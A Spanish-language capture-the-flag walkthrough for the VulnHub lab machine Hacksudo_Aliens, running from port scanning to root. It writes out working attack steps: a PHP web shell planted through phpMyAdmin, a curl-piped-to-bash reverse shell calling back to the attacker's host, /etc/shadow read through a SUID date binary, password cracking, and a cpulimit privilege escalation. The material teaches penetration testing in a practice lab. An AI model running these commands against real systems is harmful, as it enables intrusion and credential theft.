Hacksudo_Aliens VulnHub
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-21 08:03 EDT
Nmap scan report for 192.168.5.196
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 31:d8:56:f4:cf:8b:09:e8:a1:5e:2e:dd:ac:08:6b:dd (RSA)
| 256 cd:65:ec:9e:d0:2c:6b:4e:02:40:c3:fd:01:5d:d1:87 (ECDSA)
|_ 256 03:00:28:0e:0b:da:12:68:c3:c5:45:ab:bb:92:92:fa (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Hacksudo Alien?
|_http-server-header: Apache/2.4.38 (Debian)
9000/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: phpMyAdmin
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:49:A3:4F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt,md -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.196/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt,md
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 278]
/.htaccess.html (Status: 403) [Size: 278]
/.htaccess.md (Status: 403) [Size: 278]
/.htaccess.txt (Status: 403) [Size: 278]
/.htaccess.php (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd.txt (Status: 403) [Size: 278]
/README.md (Status: 200) [Size: 16]
/.htpasswd.php (Status: 403) [Size: 278]
/.htpasswd.html (Status: 403) [Size: 278]
/.htpasswd.md (Status: 403) [Size: 278]
/backup (Status: 200) [Size: 941]
/favicon.ico (Status: 200) [Size: 17726]
/game.html (Status: 200) [Size: 701]
/images (Status: 200) [Size: 944]
/index.html (Status: 200) [Size: 2225]
/server-status (Status: 403) [Size: 278]
Progress: 102345 / 102350 (100.00%)
===============================================================
Finished
===============================================================
Si nos vamos a /backups
nos descarga un archivo mysql.bak
pero no lo podremos leer tal cual, por lo que haremos lo siguiente...
file mysql.bak
Info:
mysql.bak: Bourne-Again shell script, ASCII text executable
Vemos que se puede leer como archivo de texto...
mv mysql.bak mysql.txt
cat mysql.txt
Info:
#!/bin/bash
# Specify which database is to be backed up
db_name=""
# Set the website which this database relates to
website="localhost"
# Database credentials
user="vishal"
password="hacksudo"
host="localhost"
# How many days would you like to keep files for?
days="30"
######################################################
##### EDITING BELOW MAY CAUSE UNEXPECTED RESULTS #####
######################################################
# Set the date
date=$(date +"%Y%m%d-%H%M")
# Set the location of where backups will be stored
backup_location="/var/backups/mysql"
# Create the directory for the website if it doesn't already exist
mkdir -p ${backup_location}/${website}
# Append the database name with the date to the backup location
backup_full_name="${backup_location}/${website}/${db_name}-${date}.sql"
# Set default file permissions
umask 177
# Dump database into SQL file
mysqldump --lock-tables --user=$user --password=$password --host=$host $db_name > $backup_full_name
# Set a value to be used to find all backups with the same name
find_backup_name="${backup_location}/${website}/${db_name}-*.sql"
# Delete files older than the number of days defined
find $find_backup_name -mtime +$days -type f -delete
Por lo que vemos hay unas credenciales y al pertenecer a mysql
podremos intuir que tiene que ser del panel de login de phpmyadmin
que descubrimos en el nmap
que esta en el puerto 9000
por lo que pondremos lo siguiente...
URL = http://<IP>:9000/
Una vez puesto eso nos llevara al panel de login, si ingresamos las credenciales que encontramos nos dejara entrar...
User = vishal
Password = hacksudo
Una vez dentro haremos lo siguiente...
Le daremos al boton New
...

Despues ponemos cualquier nombre en la casilla Database Name
y seleccionamos la primera opcion de la derecha llamada collation
...

Le daremos a Create
una vez hecho eso, nos iremos a nuestra base de datos creada...

Y le damos a la opcion llamada SQL
...

Dentro metemos el siguiente comando...
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/backdoor.php"

Y le damos a la opcion de Go
...

Ahora si nos vamos a la URL
donde le hemos dicho que lo cree...
URL = http://<IP>/backdoor.php
Veremos una pagina en blanco, por lo que significa que el archivo existe, ahora si hacemos lo siguiente...
URL = http://<IP>/backdoor.php?cmd=cat /etc/passwd
Veremos el archivo passwd
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:117:65534::/run/sshd:/usr/sbin/nologin
mysql:x:118:126:MySQL Server,,,:/nonexistent:/bin/false
Por lo que veremos que funciona y nos podremos hacer una Reverse Shell
...
Primero veremos si tiene instalado curl
...
URL = http://<IP>/backdoor.php?cmd=curl http://<IP_HOST>/test
Estando a la escucha para saber que te llega el mensaje del envio del comando desde la maquina victima...
python3 -m http.server 80
Si al enviar el comando con curl
llega un mensaje al comando de python3
significa que la herramienta esta instalada, por lo que podremos hacer lo siguiente...
nano index.html
#Contenido del nano
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Guardamos el archivo y ahora lo ejecutaremos desde curl
en la maquina victima haciendo lo siguiente...
Donde tengamos el archivo abrimos un servidor de python3
de la siguiente manera...
python3 -m http.server 80
Una vez hecho eso, estaremos a la escucha...
nc -nlvp <PORT>
Y por ultimo lo ejecutaremos con curl
de la siguiente forma en la maquina victima...
URL = http://<IP>/backdoor.php?cmd=curl http://<IP>/index.html | bash
Y con esto ya tendriamos la shell como el usuario www-data
...
Sanitizamos la shell...
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos lo siguiente...
find / -type f -perm -4000 -ls 2>/dev/null
Info:
1546 108 ---Sr-xr-x 1 root root 109408 Feb 28 2019 /usr/bin/date
10735 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
10841 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
10852 152 -rwsr-xr-x 1 root root 154352 Mar 21 2019 /usr/bin/ntfs-3g
17819 56 -rwsr-xr-x 1 root root 55400 Mar 6 2019 /usr/bin/bwrap
58037 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
407660 16 -rwsr-sr-x 1 root root 14608 Dec 1 2020 /usr/lib/xorg/Xorg.wrap
13568 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
150325 20 -rwsr-xr-x 1 root root 18424 Sep 8 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
135600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
138948 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
138929 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
57715 380 -rwsr-xr-- 1 root dip 386792 Feb 20 2020 /usr/sbin/pppd
Veremos que podemos ejecutar date
como root
pero solo nos sirve para leer archivos, por lo que haremos lo siguiente...
date -f /etc/shadow
Info:
date: invalid date 'root:$6$N6p.dpWhPYXSXC9U$8EraUiQ5DtMF5ov2ZbnY8DoLK1liRukqhTnTTK67MQ.tgpglkVX/I9P1aYjNeO/cwjQk9lJ/ABd9YLTMeMSn3/:18721:0:99999:7:::'
date: invalid date 'daemon:*:18714:0:99999:7:::'
date: invalid date 'bin:*:18714:0:99999:7:::'
date: invalid date 'sys:*:18714:0:99999:7:::'
date: invalid date 'sync:*:18714:0:99999:7:::'
date: invalid date 'games:*:18714:0:99999:7:::'
date: invalid date 'man:*:18714:0:99999:7:::'
date: invalid date 'lp:*:18714:0:99999:7:::'
date: invalid date 'mail:*:18714:0:99999:7:::'
date: invalid date 'news:*:18714:0:99999:7:::'
date: invalid date 'uucp:*:18714:0:99999:7:::'
date: invalid date 'proxy:*:18714:0:99999:7:::'
date: invalid date 'www-data:*:18714:0:99999:7:::'
date: invalid date 'backup:*:18714:0:99999:7:::'
date: invalid date 'list:*:18714:0:99999:7:::'
date: invalid date 'irc:*:18714:0:99999:7:::'
date: invalid date 'gnats:*:18714:0:99999:7:::'
date: invalid date 'nobody:*:18714:0:99999:7:::'
date: invalid date '_apt:*:18714:0:99999:7:::'
date: invalid date 'systemd-timesync:*:18714:0:99999:7:::'
date: invalid date 'systemd-network:*:18714:0:99999:7:::'
date: invalid date 'systemd-resolve:*:18714:0:99999:7:::'
date: invalid date 'messagebus:*:18714:0:99999:7:::'
date: invalid date 'tss:*:18714:0:99999:7:::'
date: invalid date 'dnsmasq:*:18714:0:99999:7:::'
date: invalid date 'usbmux:*:18714:0:99999:7:::'
date: invalid date 'rtkit:*:18714:0:99999:7:::'
date: invalid date 'pulse:*:18714:0:99999:7:::'
date: invalid date 'speech-dispatcher:!:18714:0:99999:7:::'
date: invalid date 'avahi:*:18714:0:99999:7:::'
date: invalid date 'saned:*:18714:0:99999:7:::'
date: invalid date 'colord:*:18714:0:99999:7:::'
date: invalid date 'geoclue:*:18714:0:99999:7:::'
date: invalid date 'hplip:*:18714:0:99999:7:::'
date: invalid date 'Debian-gdm:*:18714:0:99999:7:::'
date: invalid date 'hacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1:18721:0:99999:7:::'
date: invalid date 'systemd-coredump:!!:18714::::::'
date: invalid date 'sshd:*:18714:0:99999:7:::'
date: invalid date 'mysql:!:18720:0:99999:7:::'
Veremos el shadow
al completo, a parte intentaremos crackear la contraseña del usuario hacksudo
...
nano hash
#Dentro del nano
hacksudo:$6$cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1
john --wordlist=<WORDLIST> hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
aliens (hacksudo)
1g 0:00:00:01 DONE (2024-06-21 08:45) 0.6211g/s 4770p/s 4770c/s 4770C/s droopy..thesimpsons
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Por lo que vemos la contraseña de hacksudo
es aliens
...
User = hacksudo
Password = aliens
Nos conectaremos por ssh
...
ssh hacksudo@<IP>
Metemos la contraseña y ya estariamos dentro, por lo que leeremos la flag...
user.txt (flag1)
9fb4c0afce26929041427c935c6e0879
Con este usuario si hacemos lo siguiente...
find / -type f -perm -4000 -ls 2>/dev/null
Info:
161820 24 -rwsrwsrwx 1 root root 23072 Apr 3 2021 /home/hacksudo/Downloads/cpulimit
1546 108 ---Sr-xr-x 1 root root 109408 Feb 28 2019 /usr/bin/date
10735 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
10841 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
10852 152 -rwsr-xr-x 1 root root 154352 Mar 21 2019 /usr/bin/ntfs-3g
17819 56 -rwsr-xr-x 1 root root 55400 Mar 6 2019 /usr/bin/bwrap
58037 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
407660 16 -rwsr-sr-x 1 root root 14608 Dec 1 2020 /usr/lib/xorg/Xorg.wrap
13568 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
150325 20 -rwsr-xr-x 1 root root 18424 Sep 8 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
135600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
138948 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
138929 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
57715 380 -rwsr-xr-- 1 root dip 386792 Feb 20 2020 /usr/sbin/pppd
Vemos la siguiente linea...
161820 24 -rwsrwsrwx 1 root root 23072 Apr 3 2021 /home/hacksudo/Downloads/cpulimit
Por lo que si hacemos lo siguiente seremos root
...
cd /home/hacksudo/Downloads/
./cpulimit -l 100 -f -- /bin/sh -p
Una vez hecho esto ya seremos root
, por lo que leeremos la flag...
root.txt (flag2)
_ _ _ _
| | | | __ _ ___| | _____ _ _ __| | ___
| |_| |/ _` |/ __| |/ / __| | | |/ _` |/ _ \
| _ | (_| | (__| <\__ \ |_| | (_| | (_) |
|_| |_|\__,_|\___|_|\_\___/\__,_|\__,_|\___/
_ _ _ ____ __
/ \ | (_) ___ _ __ | ___| / /_
/ _ \ | | |/ _ \ '_ \|___ \| '_ \
/ ___ \| | | __/ | | |___) | (_) |
/_/ \_\_|_|\___|_| |_|____/ \___/
congratulations you rooted hacksudo alien56...!!!
flag={d045e6f9feb79e94442213f9d008ac48}
Last updated